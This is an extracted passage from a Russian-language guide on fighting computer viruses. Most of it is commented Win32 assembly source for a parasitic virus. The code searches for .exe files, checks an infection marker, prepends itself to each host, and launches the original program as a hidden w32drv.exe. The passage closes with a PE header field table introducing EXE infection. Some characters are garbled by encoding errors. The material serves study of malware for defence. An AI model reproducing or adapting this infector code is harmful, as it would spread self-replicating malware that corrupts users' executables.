Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

181

 

 

3) выполняется поиск первого файла по маске «*.exe» и сохранение хэндла поиска.

Перейдем ко второму блоку:

;----------------------------------------------

infect:

push

00000004h

; Страница для чтения/записи

push

00001000h

;

push

dword ptr[find_file+file_size]

; Количество резервируемой памяти

push

0h

; Система сама решает, где

 

 

; брать память

call

VirtualAlloc

 

cmp

eax,0

 

je

End_it

; Память закончилась

mov

dword ptr [mHnd],eax

; Сохраняем хэндл на память

;----------------------------------------------

 

 

push

0

 

push

00000080h

 

push

3

 

push

0

 

push

00000001h

 

push

80000000h

 

push

offset find_file+Find_data_name

 

call

CreateFileA

; Открываем найденный файл

 

 

; для чтения

cmp

eax,-1

 

je

infErrOutC

; Что-то он не открывается

mov

dword ptr [fHnd],eax

; Сохраняем хэндл

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr [find_file+file_size]

 

push

dword ptr [mHnd]

 

push

dword ptr [fHnd]

 

call

ReadFile

; Читаем весь файл в память

push

dword ptr [fHnd]

; Закрываем файл

call

CloseHandle

 

check:

 

 

mov

eax,dword ptr [mHnd]

 

add

eax,600h

 

cmp

dword ptr [eax],0002aee8h

; Проверка на инфицированность

je

f_next

 

;----------------------------------------------

 

 

В начале данного блока выделяется память в количестве, равном размеру найденного файла. Затем открываем найденный файл для чтения и читаем его в память. После этого файл закрываем. Стоит поподробнее обсудить проверку на

182

Windows вирусы

 

 

инфицированность. Если найденный файл уже заражен, то 4 байта в памяти по смещению 600h совпадут со следующими байтами: 0002aee8h. Если файл заражен, ищем следующий.

Теперь третий блок:

;----------------------------------------------

 

 

push

0

; Копируем вирус в найденный файл

push

offset find_file + Find_data_name ;

push

offset host_name

;

call

CopyFileA

;

;----------------------------------------------

 

 

xor

eax,eax

 

push

eax

 

push

00000080h

 

push

3

 

push

eax

 

push

00000001h OR 00000002h

 

push

40000000h OR 80000000h

 

lea

eax,find_file+Find_data_name

 

push

eax

 

call

CreateFileA

; Открываем файл на чтение/запись

cmp

eax,-1

 

je

End_it

; Что-то не открывается

mov

dword ptr [fHnd],eax

; Сохраняем хэндл

push

0

 

push

1000h

 

push

dword ptr [fHnd]

 

call

_llseek

; Переходим на конец вируса

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr[find_file+file_size]

 

push

dword ptr [mHnd]

 

push

dword ptr [fHnd]

; Дописываем оригинальный файл

call

WriteFile

; после вируса

push

00004000h

 

push

dword ptr [find_file+file_size]

 

push

dword ptr [mHnd]

 

call

VirtualFree

; Освобождаем память

infErrOutC:

 

 

push

dword ptr [fHnd]

; Закрываем файл

call

CloseHandle

 

;----------------------------------------------

 

 

Данный блок довольно большой, но не стоит этого пугаться: для понимания он прозрачен. Сначала вирус копируется в найденный файл. После этого дописывается этот файл, который был предварительно прочитан в память, и в конце блока освобождается память, закрывается файл.

Windows вирусы

183

 

 

Очередь четвертого блока:

;----------------------------------------------

 

 

find_next:

 

 

Call

Fnext

; Вызов процедуры поиска

 

 

; следующего файла

cmp

eax,0

; Если файлы кончились,

jne

infect

; значит двигаемся к выходу

End_it:

 

 

push

offset [Fhandle]

; Закрываем поиск

call

FindClose

;

call

restore

; Вызываем процедуру запуска

 

 

; оригинальной программы

push

0

;

call

ExitProcess

; Завершение программы

;----------------------------------------------

 

 

Fnext:

 

; Процедура поиска следующего

 

 

; файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

push

offset find_file

; Положим в стек смещение

 

 

; íà find_file

push

[Fhandle]

; Положим в стек хэндл

call

FindNextFileA

; Вызываем функцию поиска

 

 

; следующего файла

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

В этом блоке идет поиск и инфицирование всех файлов в текущем каталоге. После того как файлы закончились, вызывается процедура запуска оригинальной программы, и, когда возвращается управление из этой процедуры, работа вируса завершается.

Пятый блок:

;----------------------------------------------

restore:

xor

eax,eax

 

push

eax

 

push

00000080h

 

push

3

 

push

eax

 

push

00000001h

 

push

80000000h

 

mov

eax,offset host_name

 

push

eax

 

call

CreateFileA

; Откроем сами себя для чтения

cmp

eax,-1

 

je

konec

; Не открывается

184

 

Windows вирусы

 

 

 

mov

dword ptr [fHnd2],eax

; Сохраняем хэндл

push

0

;

push

1000h

;

push

eax

; Переходим к концу вируса

call

_llseek

;

push

0

;

push

dword ptr[fHnd2]

; Узнаем размер файла, из которого

call

GetFileSize

; мы стартовали

cmp

eax,-1

; Если ошибки, то на выход

je

konec

;

sub

eax,1000h

; Отнимем от полученного размера

mov

dword ptr[fsize],eax

; длину вируса

cmp

eax,0h

; Если после вируса нет

je

konec

; программы, то двигаемся на выход

push

00000004h

;

push

00001000h

; Выделяем память для

push

dword ptr[fsize]

; оригинальной программы

push

0h

;

call

VirtualAlloc

 

cmp

eax,0

 

je

konec

; Памяти нет, плохо...

mov

dword ptr [mHnd2],eax

; Сохраняем хэндл памяти

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr [fsize]

 

push

dword ptr [mHnd2]

 

push

dword ptr [fHnd2]

 

call

ReadFile

; Читаем оригинальную

 

 

; программу в память

push

dword ptr [fHnd2]

; Закрываем файл

call

CloseHandle

 

xor

eax,eax

 

push

eax

 

push

00000020h

 

push

1

 

push

eax

 

push

00000001h OR 00000002h

 

push

40000000h

 

lea

eax,tmp1

 

push

eax

 

call

CreateFileA

; Создаем новый файл с

 

 

; именем w32drv.exe

cmp

eax,-1

;

je

konec

; Не вышло - на выход

mov

dword ptr [fHnd2],eax

; Сохраняем хэндл

Windows вирусы

 

185

 

 

 

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr[fsize]

 

push

dword ptr [mHnd2]

 

push

dword ptr [fHnd2]

; Записываем оригинальную

call

WriteFile

; программу в файл w32drv.exe

cmp

eax,-1

;

je

konec

; Что-то не пишется

 

 

; движемся к выходу

push

dword ptr [fHnd2]

; Закрываем файл

call

CloseHandle

;

push

00004000h

 

push

dword ptr [fsize]

 

push

dword ptr [mHnd2]

 

call

VirtualFree

; Освобождаем память

push

1

;

push

offset tmp1

;

Call

WinExec

; Запускаем файл w32drv.exe

push

2

;

push

offset tmp1

; Устанавливаем атрибут у

 

 

; файла "скрытый"

call

SetFileAttributesA

;

push

offset tmp1

; Пытаемся удалить файл w32drv.exe

call

DeleteFileA

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

Представленный выше блок — самый большой в этом вирусе и хорошо комментированный. Поэтому его мы рассмотрим не слишком подробно. Смысл работы данного блока заключается в том, что оригинальная программа, которая находится сразу после тела вируса, читается в память. Затем создается файл с именем w32drv.exe. В этот файл копируется эта программа из памяти.

На этом глава о простейших вирусах типа «паразит» заканчивается. Стоит лишь отметить, что вирусы таких типов как overwriter, companion, parasitic (по крайней мере, простейшие варианты данных вирусов) для разных ОС функционально практически идентичны. Их главным различием является лишь то, что используются специфические для каждой операционной системы функции.

Лечение данного типа вирусов не отличается от их DOS-аналогов.

3.1. Простейшие *.EXE вирусы

Традиционным методом инфицирования win32 *.exe файлов, как и их братьев DOS *.exe, является модификация заголовка. Но модификация заголовка при инфицировании PE EXE файла гораздо более сложная. Сначала рассмотрим структуру заголовка PE EXE файла, а после этого перейдем к алгоритму инфицирования.

186

Windows вирусы

 

 

Microsoft решила оставить у запускаемых файлов расширение EXE, а, чтобы не было проблем, начальным заголовком сделать запускаемый файл MS-DOS. У них это получилось, вот краткая схема названного:

Полная структура PE EXE файла

00h

DOS 2 Header

Совместимый заголовок (форматированная часть), бу-

дем считать, что его формат всем известен

 

 

 

 

4 байта, выравнивающие форматированную область заголовка с 1Ch

1Ch

до 20h. Ничто не мешает им там не присутствовать, но у Microsoft

они описаны. Это позволяет заголовку файла иметь красивый размер

 

 

в 2 параграфа...

 

 

 

 

 

 

Другими словами, информация о программе практиче-

 

OEM Identifier

ски никогда не присутствует, однако место должно

20h

быть зарезервировано. Я встречал файлы с заполнен-

 

OEM Info

ным полем. Наверное, их делали люди, буквально со-

 

 

 

 

блюдающие требования документации от Microsoft

 

 

 

 

Offset to

Смещение реального PE заголовка в файле, DWord,

3Ch

присутствует именно здесь. Заголовок выравнивается

PE Header

 

на 8-байтовую границу относительно начала файла

 

 

 

 

 

 

Релокейшены программы-заглушки, у стандартного STUB'а их нет. На

 

это поле указывает ReloOfs заголовка DOS 2 Header. Соответственно

min 40h

его значение должно быть >=40h, иначе такой файл как кандидат в

 

PE рассматриваться вообще не будет. На самом деле загрузчику без-

 

различно фактическое их положение

 

 

 

 

Собственно говоря, тело DOS-программы, иначе говоря STUB'a, чаще

 

всего говорит о невозможности запуска, но может содержать в себе

 

очень разрушительные вещи, как то поиск в PATH и запуск файла

min 40h + xxh

WIN.COM с указанием имени данного файла, причем без предупреж-

 

дений, что, конечно же, весьма неприятно. 40h есть нижняя граница

 

данного поля. Она может, собственно говоря, находиться сколь угодно

 

выше. Это зависит от размера заголовка

 

 

 

 

 

Здесь находится заголовок PE файла или, другими

XXh

PE Header

словами, начинается сама 32-битная программа. По

идее, он должен быть выровнен на 8-байтовую грани-

 

 

 

 

цу. Пусть так и будет

 

 

 

XXh

Object Table

Таблица описаний секций файла. Подробнее далее

 

 

 

 

Image Pages

 

 

import info

 

 

export info

 

XXh

fixup info

Остальная часть запускаемого файла...

 

resource info

 

 

debug info

 

 

etc...

 

 

 

 

 

 

 

Windows вирусы

187

 

 

Для проверки на возможность файла быть в формате PE необходимо, чтобы он был, во-первых, EXE (байты по смещению 0h равны 5A4Dh), во-вторых, слово по смещению 18h должно быть >=40h, тогда, и только тогда, поле DWord по смещению 3Ch имеет смысл. Загрузчик Windows файлы с заголовком 'ZM' — 4D5Ah не считает валидными 32-битными программами.

Описание полей PE-заголовка

Смеще-

Размер

Èìÿ ïîëÿ

Êîì.

Краткое описание

íèå

èëè òèï

 

 

 

 

 

 

 

 

 

 

 

 

Сигнатурка того, что этот файл является

 

 

Signature

 

PE должна быть 4550h, иначе — 'PE',0h,0h;

00h

DWord

Íåò

два последних байта под что-то там Micro-

Bytes

 

 

 

soft зарезервировала (и проверяет их равен-

 

 

 

 

 

 

 

 

ñòâî íà 0!)

 

 

 

 

 

 

 

 

 

Это поле указывает на предпочтительный

04h

Word

CPU Type

Äà

тип процессора, на котором желательно за-

пускать данную программу. Вы редко уви-

 

 

 

 

 

 

 

 

дите что-либо отличное от 14Ch -> i386

 

 

 

 

 

06h

Word

Num

Íåò

Это поле указывает на число реальных вхо-

of Objects

äîâ â Object Table

 

 

 

 

 

 

 

 

08h

DWord

Time/Date

Íåò

Используется для хранения даты и времени

Stamp

создания/модификации линкером

 

 

 

 

 

 

 

 

 

 

 

 

Дополнительный указатель, определяющий

0Ch

DWord

Pointer to

Íåò

местонахождение отладочной COFF табли-

COFF table

цы в файлах. Отладочную информацию луч-

 

 

 

 

 

 

 

ше всего искать по-другому

 

 

 

 

 

10h

DWord

COFF table

Íåò

Количество символов в COFF таблице

size

 

 

 

 

 

 

 

 

 

 

 

 

 

Размер заголовка PE файла, начиная с поля

14h

Word

NT Header

Íåò

Magic, название взято у программы Hiew.

Size

Таким образом, общий размер заголовка PE

 

 

 

 

 

 

 

файла составляет NT Header Size + 18h

 

 

 

 

 

16h

Word

Flags

Äà

Указывает на предназначение программы.

Конкретное назначение флагов см. ниже

 

 

 

 

 

 

 

 

 

 

 

 

 

Поле указывает на основное предназначе-

18h

Word

Magic

Äà

ние программы. Абсолютно всем наплевать

 

 

 

 

íà íåãî

 

 

 

 

 

1Ah

Byte

Link Major

Íåò

Старший номер версии использовавшегося

при создании линкера

 

 

 

 

 

 

 

 

 

 

 

 

 

 

188

 

 

 

 

 

 

 

Windows вирусы

 

 

 

 

 

 

 

 

 

Продолжение описания полей PE-заголовка

 

 

 

 

 

 

 

 

 

 

Смеще-

Размер

Èìÿ ïîëÿ

Êîì.

 

Краткое описание

 

íèå

èëè òèï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Младший номер версии использовавшегося

1Bh

Byte

Link Minor

Íåò

 

при создании линкера эти два поля загруз-

 

 

 

 

 

чик пока игнорирует)

 

 

 

 

 

 

 

 

 

 

 

 

 

Размер именно программного кода в файле

 

 

 

 

 

KERNEL использует это значение для фак-

 

 

 

 

 

тического отведения памяти под загружае-

1Ch

DWord

Size of Code

Íåò

 

мую программу. Установка этого значения

 

 

 

 

 

слишком маленьким приведет к выдаче иди-

 

 

 

 

 

отского сообщения о нехватке памяти, хотя

 

 

 

 

 

ее может быть достаточно

 

 

 

 

 

 

 

 

 

 

 

 

 

Размер секции инициализированных дан-

20h

DWord

Size of Init

Íåò

 

ных. Очевидно,

не используется

â Win-

Data

 

dows'95, но используется в NT. Назначение

 

 

 

 

 

 

 

 

 

аналогично приведенному выше

 

 

 

 

 

 

 

 

 

 

 

 

Размер секции неинициализированных дан-

 

 

 

 

 

ных. Сложно сказать, как эти три поля кор-

 

 

Size of UnInit

 

 

респондируют

между собой, но

лучше с

24h

DWord

Íåò

 

ними по честному... Явно видно, что фор-

Data

 

 

 

 

 

мат разрабатывали одни, а реализовывали

 

 

 

 

 

 

 

 

 

 

его другие. Рекомендую изучить регионы

 

 

 

 

 

памяти и VirtualXXX функции

 

 

 

 

 

 

 

 

 

 

 

 

Адрес относительно Image Base, по которо-

28h

DWord

Entry point

Íåò

 

му передается управление при запуске про-

RVA

 

граммы или адрес инициализации/завер-

 

 

 

 

 

 

 

 

 

шения библиотеки

 

 

 

 

 

 

 

 

 

 

 

 

 

RVA секция, которая содержит програм-

2Ch

DWord

Base of Code

Íåò

 

мный код (как будто бы она одна-единст-

 

венная). Судя по всему, никем не использу-

 

 

 

 

 

 

 

 

 

 

ется (но установлено верно)

 

 

 

 

 

 

 

 

 

 

 

 

RVA секции, содержащей якобы данные.

30h

DWord

Base of Data

Íåò

 

В реальных exe-файлах указывает и на

 

 

 

 

 

.data, è íà .bss

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Виртуальный

начальный

адрес

загрузки

34h

DWord

Image Base

Íåò

 

программы (ее

первого

байта).

Должен

 

быть на границе 64 кб (связано с системой

 

 

 

 

 

 

 

 

 

 

памяти Windows'95)

 

 

 

 

 

 

 

 

 

 

 

 

 

Выравнивание программных секций. Дол-

 

 

 

 

 

жно быть степенью 2 между 512 и 256М

38h

DWord

Object Align

Íåò

 

включительно, что также связано с систе-

 

 

 

 

 

мой памяти. При использовании других

 

 

 

 

 

значений программа не загрузится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Windows вирусы

 

 

 

 

 

 

 

189

 

 

 

 

 

 

 

 

 

Продолжение описания полей PE-заголовка

 

 

 

 

 

 

 

 

 

 

Смеще-

Размер

Èìÿ ïîëÿ

Êîì.

 

 

Краткое описание

íèå

èëè òèï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Фактор,

используемый

äëÿ

выравнивания

 

 

 

 

 

секций в программном файле. В байтовом

 

 

 

 

 

значении указывает на границу, на которую

 

 

 

 

 

секции дополняются 0 при размещении в

 

 

 

 

 

файле. Большое значение приводит к нера-

3Ch

DWord

File Align

Íåò

 

циональному использованию дискового про-

 

странства, увеличивает

компактность, но

 

 

 

 

 

 

 

 

 

 

снижает скорость загрузки. Должен быть

 

 

 

 

 

степенью 2 в диапазоне от 512 до 64К

 

 

 

 

 

включительно.

Прочие

значения вызовут

 

 

 

 

 

ошибку загрузки файла. По-моему, размер

 

 

 

 

 

файла более важен

 

 

 

 

 

 

 

 

 

 

 

 

 

Старший номер версии ОС, необходимый

40h

Word

OS Major

Íåò

 

для запуска программы (нулевое значение

 

не позволяет запустить программу, осталь-

 

 

 

 

 

 

 

 

 

 

ные игнорируются проверялось на OSR2)

 

 

 

 

 

 

 

42h

Word

OS Minor

Íåò

 

Младший номер версии ОС

 

 

 

 

 

 

 

 

 

 

 

 

Пользовательский номер версии. Задается

44h

Word

USER Major

Íåò

 

пользователем при линковке программы и

 

 

 

 

 

им же используется

 

 

 

 

 

 

 

 

 

46h

Word

USER Minor

Íåò

 

Аналогично. Младший номер

 

 

 

 

 

 

 

48h

Word

SubSys Major

Íåò

 

Старший номер версии подсистемы. Неиз-

 

вестно, как он используется

 

 

 

 

 

 

 

 

 

 

 

 

 

 

4Ah

Word

SubSys Minor

Íåò

 

Аналогично. Младший номер

 

 

 

 

 

 

 

4Ch

DWord

Reserved

Íåò

 

Судя по всему, так оно и есть

 

 

 

 

 

 

 

 

 

 

 

Виртуальный размер в байтах всего загру-

50h

DWord

Image Size

Íåò

 

жаемого образа вместе с заголовками, кра-

 

 

 

 

 

òåí Object Align

 

 

 

 

 

 

 

 

 

 

 

 

54h

DWord

Header Size

Íåò

 

Общий

размер

âñåõ

заголовков: DOS

 

Stub + PE Header + Object Table

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Контрольная сумма всего файла. Опять же,

 

 

File Check-

 

 

как и в DOS'е, ее ничто не контролирует, а

58h

DWord

Íåò

 

линкер ее ставит в 0 при линковке. Предпо-

Sum

 

 

 

 

 

лагалось ее рассчитывать как инверсию

 

 

 

 

 

 

 

 

 

 

суммы всех байтов файла

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Операционная

подсистема,

необходимая

5Ch

Word

SubSytem

Äà

 

для запуска данного файла (GUI, кон-

 

 

 

 

 

ñîëü...)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

190

 

 

 

 

Windows вирусы

 

 

 

 

 

 

 

 

 

Продолжение описания полей PE-заголовка

 

 

 

 

 

 

Смеще-

Размер

Èìÿ ïîëÿ

Êîì.

 

Краткое описание

íèå

èëè òèï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Указывает на специальные потребности при

5Eh

Word

DLL Flags

Äà

 

загрузке. Начиная с NT 3.5 устарел и не

 

 

 

 

 

используется

 

 

 

 

 

 

 

 

 

 

 

Память, требуемая для стека приложения.

 

 

 

 

 

Память резервируется, но выделяется толь-

 

 

 

 

 

ко Stack Commit Size байтов, следующая

 

 

 

 

 

страница является охранной. Когда прило-

60h

DWord

Stack Reserve

Íåò

 

жение достигает этой страницы, то страни-

Size

 

ца становится доступной, а следующая

 

 

 

 

 

 

 

 

 

страница — охранной, и так до достижения

 

 

 

 

 

нижней границы, после чего Windows'95

 

 

 

 

 

убивает программу с сообщениями об иск-

 

 

 

 

 

лючении у нее в стеке

 

 

 

 

 

 

64h

DWord

Stack Commit

Íåò

 

Объем памяти, отводимой в стеке сразу по-

Size

 

сле загрузки

 

 

 

 

 

 

 

 

 

 

68h

DWord

Heap Reserve

Íåò

 

Максимально возможный размер локально-

Size

 

ãî õèïà

 

 

 

 

 

 

 

 

 

 

6Ch

DWord

Heap Comit

Íåò

 

Отводимый при загрузке хип

Size

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

? начиная с NT 3.5, объявлено неиспользу-

70h

DWord

Loader Flags

Íåò

 

емым. Назначение неясно, но в целом свя-

 

 

 

 

 

зано с поддержкой отладки

 

 

 

 

 

 

 

 

 

 

 

Указывает размер массива VA/Size кото-

 

 

Num of RVA

 

 

рый следует ниже. Данная возможность за-

74h

DWord

Íåò

 

резервирована под будущие расширения

and Sizes

 

 

 

 

 

формата. В данный момент его значение

 

 

 

 

 

 

 

 

 

 

всегда равно 10h

 

 

 

 

 

 

78h

DWord

Export Table

Íåò

 

RVA адрес таблицы экспорта

RVA

 

 

 

 

 

 

 

 

 

 

 

 

7Ch

DWord

Export Data

Íåò

 

Размер таблицы экспорта

Size

 

 

 

 

 

 

 

 

 

 

 

 

80h

DWord

Import Table

Íåò

 

RVA адрес таблицы импорта

RVA

 

 

 

 

 

 

 

 

 

 

 

 

84h

DWord

Import Data

Íåò

 

Размер таблицы импорта

Size

 

 

 

 

 

 

 

 

 

 

 

 

88h

DWord

Resource Tab-

Íåò

 

RVA адрес таблицы ресурсов

le RVA

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]